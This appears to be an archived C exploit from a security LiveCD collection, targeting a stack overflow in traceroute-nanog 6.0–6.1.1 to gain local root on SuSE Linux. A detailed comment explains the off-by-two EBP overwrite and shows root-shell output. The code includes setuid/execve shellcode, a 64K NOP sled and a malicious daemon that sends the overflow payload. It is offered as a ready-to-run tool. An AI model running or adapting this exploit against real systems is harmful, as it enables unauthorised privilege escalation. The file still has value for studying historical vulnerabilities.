home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / traceroute-exploit.c < prev    next >
Text File  |  2005-02-12  |  18KB  |  458 lines

  1. /*
  2.  
  3. ---[ Traceroute-nanog 6.0 -> 6.1.1 exploit ]---
  4.  
  5. By Carl Livitt (carl@learningshophull.co.uk)
  6.  
  7. Exploits a stack overflow in get_origin() function of traceroute.c to gain r00t.
  8. Tested on SuSE 7.1, 7.2, 7.3 & 8.0, but should work on 7.0 and 6.x.
  9.  
  10. There are lots more overflows in this traceroute implementation... mostly heap
  11. overflows I think. Have a look, have some fun.
  12.  
  13.  
  14. ---[ About this exploit ]---
  15.  
  16. Traceroute-nanog can do WHOIS-like DNS lookups at each hop and find the admin email address
  17. for each IP. It is possible to set environment variables to tell traceroute
  18. the IP and port number of your own custom DNS server.
  19.  
  20. Unfortunately, traceroute fails to error-check the returned records, making it possible
  21. to trick it into causing a stack overflow (but with limitations).
  22.  
  23. My technique was to write my own malicious server that would inject a carefully
  24. crafted response to traceroute's query, triggering the overflow and letting
  25. me obtain local r00t access.
  26.  
  27. ---[ More Info ]---
  28.  
  29. When get_origin() is called, the stack looks like this:
  30.  
  31.  char buf[256]     tmp4[100] tmp3[100] tmp2[100]  tmp1[100] EBP EIP 
  32. [bbbbbbbbbbbbbbbbbb44444444443333333333222222222221111111111BBBBIIII] -> 0xbfffffff
  33.  
  34. There is an 8k buffer called 'reply' on the heap. Its purpose is to hold the entire
  35. reply from the  server. It is populated by repeated calls to read(2), each call
  36. reading 256 bytes into buf[] which are then concatenated into reply[]. Incedentally, 
  37. no bounds checking is done on reply[], making it possible to cause a heap overflow:
  38.  
  39. count = 0;
  40.         while ((n = read(s, buf, sizeof(buf))) > 0) {
  41.             strcpy((char *)&reply[count],(char *)buf);
  42.             count += n;
  43.         }
  44.  
  45. After reading the entire reply into reply[], get_origin() then parses the contents;
  46. this is where the lack of bounds checking becomes apparent:
  47.  
  48. rp = (char *)reply; 
  49.         origin[0]='\0';
  50.         reply[MAXREPLYLEN-1]='\0';
  51.  
  52.         rp = (char *)strstr(rp,tmp2);   
  53.         while (rp != 0) {               
  54.                                         
  55.            pp = (char *)strstr(rp,tmp3);        
  56.            if (pp == 0) {               
  57.               prefix = 0;               
  58.            } else {
  59.               prefix = atoi(pp+1);      
  60.            }
  61.  
  62.            if (prefix >= best_prefix) { 
  63.               i = (char *)strstr(pp,tmp);       
  64.               if (i != 0) {                     
  65.                  i += strlen(DATA_DELIMITER);   
  66.                  i++;                           
  67.                  while (*i == ' ') i++;         
  68.                  
  69.                  j = i;                         
  70.                  while (*j >= '0') j++;    // CHAR FILTERING
  71.                  if (prefix > best_prefix) {
  72.                     strcpy(origin,"/");         
  73.                     best_prefix = prefix;               
  74.                  } else {
  75.                     strcat(origin,"/");         
  76.                  }
  77.                  strncpy(tmp4,i,(j-i)); // OVERFLOW
  78.                  tmp4[j-i] = '\0';              
  79.                  if (!(strstr(origin,tmp4))) {  
  80.                     strncat(origin,i,(j-i));    
  81.                  } else {
  82.                     if (prefix == best_prefix)  
  83.                        origin[strlen(origin)-1] = '\0';
  84.                  } 
  85.               } 
  86.            } 
  87.            rp = (char *)strstr(rp+1,tmp2);      
  88.         }  
  89.  
  90. get_origin() finds the word 'route:' in reply[], then reads the number that follows 
  91. it. If the number is greater than best_prefix (zero), then get_origin() continues to 
  92. parse the reply[] buffer. It sets two pointers (*i, *j) to just past the location of 
  93. the string 'origin:', and then increments *j until a character < ASCII '0' is found. 
  94.  
  95. So, *i marks the start of the buffer to copy into tmp4[] and *j marks the end of the
  96. buffer. Because tmp4[] is 100 bytes long and it is possible to construct a reply of 
  97. arbitrary length, it is trivial to overflow tmp4[], tmp3[], tmp2[] and tmp1[], over-
  98. writing values on the stack.
  99.  
  100. To exploit this overflow is not quite that simple, however. To redirect the flow of
  101. execution, the EIP saved on the stack needs to be overwritten with a value such as
  102. 0xbfff4567; the problem is that while the chars 0x67 and 0x45 pass the filter
  103. mentioned above (*j >='0'), the chars 0xbf and 0xff do not (j is of type 'char'. Valid
  104. values that pass through the filter are 0x30 -> 0x7f). If 0xffbf was to be embedded 
  105. into the reply[] buffer as part of the overflow data, processing of the reply would 
  106. stop and the tmp4[] buffer would not be overflowed.
  107.  
  108. This means that we cannot directly affect EIP. That leaves EBP. Again we face the same
  109. problem: we can only overwrite EBP with values in the range 0x30 -> 0x7f.... and one
  110. other: NULL (0x00). The NULL byte cannot pass through the filter if placed there by an
  111. attacker, but it doesn't matter because get_origin() NULL-terminates the tmp4[] buffer
  112. for us.
  113.  
  114. So, it is possible to do an off-by-one attack (or off-by-two; more on that later) by
  115. using the NULL byte to overflow the least-significant byte of the saved EBP. There's
  116. only one more problem to overcome: we still need to get a malicious EIP value onto the
  117. stack somewhere it can be reached via an off-by-one attack. However, we can't place
  118. the EIP into the exploit buffer, because the 0xbfffxxxx will not pass through the filter.
  119. Luckily, the reply[] buffer is populated by copying from the stack to the heap via the
  120. buf[] buffer in 256 bytes chunks until there is no more data to copy. We can (ab)use 
  121. this behaviour by writing the exact amount of data into reply[] (via buf[]) that is
  122. needed to cause the overflow, then write a value less than '0' which will stop 
  123. get_origin() processing the exploit buffer and then we can write as many bytes as we
  124. like into buf[] (up to 256) _of any value we like_.
  125.  
  126. All of this can be put together to form an exploit string that will overflow EBP, 
  127. fill buf[] with our evil EIP and let us execute arbitrary shellcode (stored in an
  128. environment variable on the stack).
  129.  
  130. The trouble with this technique is that an off-by-one exploit only gives us one
  131. possible location on the stack to find our evil EIP (remember, it's in buf[]). It
  132. is not possible to reach _any_ address in buf[] using an off-by-one because buf[] is
  133. located too far away on the stack. Even by padding out the stack with environment
  134. variables to alter ESP doesn't work: we can't reach buf[]. However, it IS possible
  135. to use an off-by-two attack:
  136.  
  137. Off-by-one:
  138. -----------
  139. 0xbffffabc becomes 0xbffffa00
  140.  
  141. Off-by-two:
  142. -----------
  143. 0xbffffabc becomes 0xbfff00nn where nn is any value in range 0x30 -> 0x7f.
  144.  
  145. Aha! Now we've got a lot more flexibility in how we can reach buf[], and thus EIP.
  146. All that is needed is to pad the stack by about 64K so that buf[] is located near
  147. 0xbfff00nn. This is accomplished by using an enormous environment variable to hold
  148. our shellcode... in the exploit code I use about 64K of NOPs to do the trick. This
  149. has the added bonus that it's difficult to miss 64K of NOPs when jumping to shellcode!
  150.  
  151. This exploit was very interesting to write. A couple of times I threw my hands up in
  152. disgust as I thought it was not going to be possible to execute shellcode... but it
  153. just goes to show what a little coffee and lateral thinking can do. 
  154.  
  155.  
  156. ---[ Usage ]---
  157.  
  158. First, you must start the malicious daemon that will answer traceroute's query. It 
  159. can run on the same machine as you are exploiting, or on a different one... it makes
  160. no difference. Then, you run the exploit which will start traceroute with the 
  161. correct environment variables to cause the overflow:
  162.  
  163. Example 1:
  164. --------------
  165.  
  166. carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -d
  167. Now run this exploit with the '-e' flag.
  168. carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e
  169. traceroute to www.yahoo.akadns.net (66.218.71.80), 30 hops max, 40 byte packets
  170.  1 sh-2.05# id
  171. uid=0(root) gid=100(users) groups=100(users)
  172. sh-2.05#
  173.  
  174.  
  175. Example 2:
  176. --------------
  177.  
  178. carl@testingserver:/tmp > /sbin/ifconfig eth0 |grep inet
  179.           inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0
  180. carl@testingserver:/tmp > ./traceroute-exploit -d
  181. Now run this exploit with the '-e' flag.
  182.  
  183.  
  184. carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e -s 192.168.1.100
  185. traceroute to www.yahoo.akadns.net (64.58.76.179), 30 hops max, 40 byte packets
  186.  1 sh-2.05# id
  187. uid=0(root) gid=100(users) groups=100(users),102(wwwrun)
  188. sh-2.05#
  189.  
  190.  
  191. Note that you _must_ run this exploit in '-d' (daemon) mode first, otherwise the
  192. traceroute will just run as normal and you'll never be able to exploit it.
  193.  
  194. ---[ Thats all folks ]---
  195.  
  196. Maybe this exploit has bugs, maybe not. Who knows for sure? Who cares, it's an
  197. exploit that does what I needed and no more. Maybe I'll spend time refining it
  198. later.
  199.  
  200. On that note, if you make any additions/bugfixes/changes, then please mail copies
  201. of the source back to me... thanks.
  202.  
  203. Have a nice r00t,
  204. Carl.
  205. */
  206.  
  207.  
  208. #include <sys/types.h>
  209. #include <sys/socket.h>
  210. #include <netinet/in.h>
  211. #include <arpa/inet.h>
  212. #include <netdb.h>
  213. #include <malloc.h>
  214. #include <stdio.h>
  215. #include <string.h>
  216. #include <unistd.h>
  217. #define _GNU_SOURCE
  218. #include <getopt.h>
  219.  
  220. // Sensible defaults that work on SuSE 7.x & 8.0 (possibly others)
  221. #define BUFSIZE 64128
  222. #define RA_SERVER "localhost"
  223. #define RA_SERVICE "ap"
  224. #define TRACEROUTE "/usr/sbin/traceroute"
  225. #define FLAGS "-nOA"
  226. #define TRACE_HOST "www.yahoo.com"
  227. #define NOT_SET 0
  228. #define DAEMON 1
  229. #define EXPLOIT 2
  230. #define EXPLOIT_START "xxxxroute: /1 origin:111"
  231. #define RET_ADDR 0xbfff4444
  232.  
  233. void do_daemon(char *service);
  234. void run_daemon(char *service);
  235.  
  236. char shellcode[] =
  237.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
  238.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  239.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  240.         "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // aleph1 execve() of /bin/sh
  241.  
  242. char usage[] =
  243. "\ntraceroute-exploit - By Carl Livitt (carl@learningshophull.co.uk)\n"
  244. "Exploits traceroute-nanog 6.0 -> 6.1.1 and others on SuSE 7.x/8.0\n\n"
  245. "Usage:\n"
  246. "      ./traceroute-exploit < -d | -e > [ options ]\n\n"
  247. "Options:\n"
  248. "-d             Run in daemon mode (stage 1)\n"
  249. "-e             Run in exploit mode (stage 2)\n"
  250. "-h             Display this help\n"
  251. "-H host        Traceroute to 'host' [www.yahoo.com]\n"
  252. "-s server      Specify host running exploit daemon [localhost]\n"
  253. "-S service     Name of service port on exploit daemon host [ap]\n"
  254. "               ap = port 47806/tcp (see /etc/services)\n"
  255. "-t filename    Full path to traceroute binary [/usr/sbin/traceroute]\n"
  256. "-b bufsize     Size of shellcode buffer [64128]\n"
  257. "-v             Be verbose\n\n"
  258. "Example (works on SuSE 7.x/8.0):\n"
  259. "      ./traceroute-exploit -d\n"
  260. "      ./traceroute-exploit -e\n\n"
  261. "Example 2 (uses mysql port(3306)):\n"
  262. "      ./traceroute-exploit -d -S mysql\n"
  263. "      ./traceroute-exploit -e -S mysql\n\n";
  264.  
  265. extern char *optarg;
  266. extern int optind, opterr, optopt;
  267.  
  268. main(int argc, char **argv) {
  269.         char *env[4];
  270.         char *traceroute[4];
  271.         char host[256], server[256], service[256],filename[256];
  272.         int bufsize, verbose=0;
  273.         int c,exploitMode=NOT_SET;
  274.         char *buf;
  275.         char tmp[256];
  276.  
  277.         // some sensible defaults that work out-of-the-box
  278.         strncpy(host, TRACE_HOST, 255);
  279.         strncpy(server, RA_SERVER, 255);
  280.         strncpy(service, RA_SERVICE, 255);
  281.         strncpy(filename, TRACEROUTE, 255);
  282.         bufsize=BUFSIZE;
  283.  
  284.         // process command-line args
  285.         while((c=getopt(argc,argv,"vdehH:s:S:t:b:"))!=-1) {
  286.                 switch(c) {
  287.                         case 'd':
  288.                                 exploitMode=DAEMON;
  289.                                 break;
  290.                         case 'e':
  291.                                 exploitMode=EXPLOIT;
  292.                                 break;
  293.                         case 'v':
  294.                                 verbose=1;
  295.                                 break;
  296.                         case 'H':
  297.                                 strncpy(host,optarg,255);
  298.                                 break;
  299.                         case 'h':
  300.                                 printf(usage);
  301.                                 break;
  302.                         case 's':
  303.                                 strncpy(server,optarg,255);
  304.                                 break;
  305.                         case 'S':
  306.                                 strncpy(service,optarg,255);
  307.                                 break;
  308.                         case 't':
  309.                                 strncpy(filename,optarg,255);
  310.                                 break;
  311.                         case 'b':
  312.                                 bufsize=atoi(optarg);
  313.                                 break;
  314.                         default:
  315.                                 printf(usage);
  316.                                 exit(0);
  317.                                 break;
  318.                 }
  319.         }
  320.         
  321.         // make sure the attacker knows what he/she/cowboyneal is doing
  322.         if(exploitMode==NOT_SET) {
  323.                 printf("You must specify at least '-d' or '-e'. Type '%s -h' for help.\n", argv[0]);
  324.                 exit(0);
  325.         }
  326.  
  327.         // run the malicious, evil daemon and return the attacker to a shell.
  328.         if(exploitMode==DAEMON) {
  329.                 // this function will never return.
  330.                 do_daemon(service);
  331.         }
  332.  
  333.         // Now run traceroute, making it connect to the malicious daemon.
  334.         
  335.         // Allocate our shellcode buffer.
  336.         // This buffer pads the stack by about 64K
  337.         // which makes the off-by-two attack possible
  338.         if((buf=(char *)malloc(bufsize))==NULL) {
  339.                 perror("Out of memory??!??!?!?: ");
  340.                 exit(1);
  341.         }
  342.  
  343.         // fill buffer with NOPs
  344.         memset(buf,(int)0x90,(size_t)bufsize-1);
  345.  
  346.         // start the environment variable
  347.         memcpy(buf,"SHELLCODE=",9);
  348.  
  349.         // fill end of buffer with shellcode
  350.         memcpy(buf+bufsize-1-strlen(shellcode), shellcode, strlen(shellcode));
  351.  
  352.         // null-terminate
  353.         buf[bufsize-1]='\0';
  354.  
  355.         // setup the environment etc
  356.         env[0]=strdup(buf);
  357.         sprintf(tmp,"RA_SERVER=%s",server);env[1]=strdup(tmp);
  358.         sprintf(tmp,"RA_SERVICE=%s",service);env[2]=strdup(tmp);
  359.         env[3]=NULL;
  360.         sprintf(tmp,"%s",filename);traceroute[0]=strdup(tmp);
  361.         sprintf(tmp,"%s",FLAGS);traceroute[1]=strdup(tmp);
  362.         sprintf(tmp,"%s",host);traceroute[2]=strdup(tmp);
  363.         traceroute[3]=NULL;
  364.         free(buf);
  365.  
  366.         // spawn traceroute and gain r00t in the process...
  367.         execve(*traceroute, traceroute, env);
  368. }
  369.  
  370. // fork, making a daemon listing of port 'service' (ap/47806 by default)
  371. // and return to shell.
  372. void do_daemon(char *service) {
  373.         if(fork()==0) {
  374.                 run_daemon(service);
  375.         } else {
  376.                 printf("Now run this exploit with the '-e' flag.\n");
  377.                 _exit(0);
  378.         }
  379. }
  380.  
  381. // the daemon itself
  382. void run_daemon(char *service) {
  383.         int sock,victim_sock,len,i,j;
  384.         struct sockaddr_in server_addr;
  385.         struct sockaddr_in victim_addr;
  386.         char buf[256];
  387.         char exploit_string[4096]=EXPLOIT_START;
  388.         struct servent *sv;
  389.  
  390.         // make sure the attacker has specified
  391.         // a valid service name (eg. mysql, ftp, ap etc)        
  392.         if((sv=getservbyname(service,"tcp"))==NULL) {
  393.                 perror("getservbyname(): ");
  394.                 exit(0);
  395.         }
  396.  
  397.         // some magic-number voodoo...
  398.         // exploit_string will cause an off-by-two overflow in get_origin()
  399.         // exploit_string:0   'xxxxroute: /1 origin:111'    # tags used by get_origin()
  400.         // exploit_string:24  'a' x 398                        # dummy data
  401.         // exploit_string:422 '\x7f'                        # least-significant byte of EBP
  402.         // exploit_string:423 '\x01'                        # char < '0' to stop processing
  403.         // exploit_string:424 '\x44\x44\xff\xbb' x 104        # evil EIP containing shellcode
  404.         // exploit_string:528 '\0'                            # NULL terminator
  405.         memset(exploit_string+24, '\0', 4096-1-24);
  406.         memset(exploit_string+24, 'a', 398);
  407.         memset(exploit_string+24+398, '\x7f', 1);
  408.  
  409.         // the next byte stops get_origin from processing
  410.         // any more of the exploit string.
  411.         memset(exploit_string+24+399,'\x01', 4);
  412.  
  413.         // now we can fill buf[256] with our evil EIP
  414.         // and bypass the filtering in get_origin(). Yay!
  415.         // More magic numbers...
  416.         i=24+399+4;
  417.         j=i+416;
  418.         while(i<j) {
  419.                 exploit_string[i++]=(char)RET_ADDR&0xff;
  420.                 exploit_string[i++]=(char)(RET_ADDR>>8)&0xff;
  421.                 exploit_string[i++]=(char)(RET_ADDR>>16)&0xff;
  422.                 exploit_string[i++]=(char)(RET_ADDR>>24)&0xff;
  423.         }
  424.  
  425.         // setup TCP socket
  426.         if((sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1) {
  427.                 perror("socket(): ");
  428.                 exit(1);
  429.         }
  430.         server_addr.sin_family = AF_INET;
  431.         server_addr.sin_addr.s_addr = INADDR_ANY;
  432.         server_addr.sin_port = sv->s_port;
  433.         len=sizeof(server_addr);
  434.  
  435.         if((bind(sock, (struct sockaddr *)&server_addr, len))<0) {
  436.                 perror("bind(): ");
  437.                 exit(1);
  438.         }
  439.         if((listen(sock, 1))!=0) {
  440.                 perror("listen(): ");
  441.                 exit(1);
  442.         }
  443.         
  444.         // wait for connect from traceroute...
  445.         victim_sock=accept(sock, (struct sockaddr *)&victim_addr, &len);
  446.         
  447.         // read the IP address that traceroute sends (and ignore it)
  448.         read(victim_sock, buf, 255);
  449.         
  450.         // write exploit string
  451.         write(victim_sock, exploit_string, strlen(exploit_string));
  452.         
  453.         // so long and thanks for all the fish
  454.         close(victim_sock);
  455.         close(sock);
  456.         exit(0);
  457. }
  458.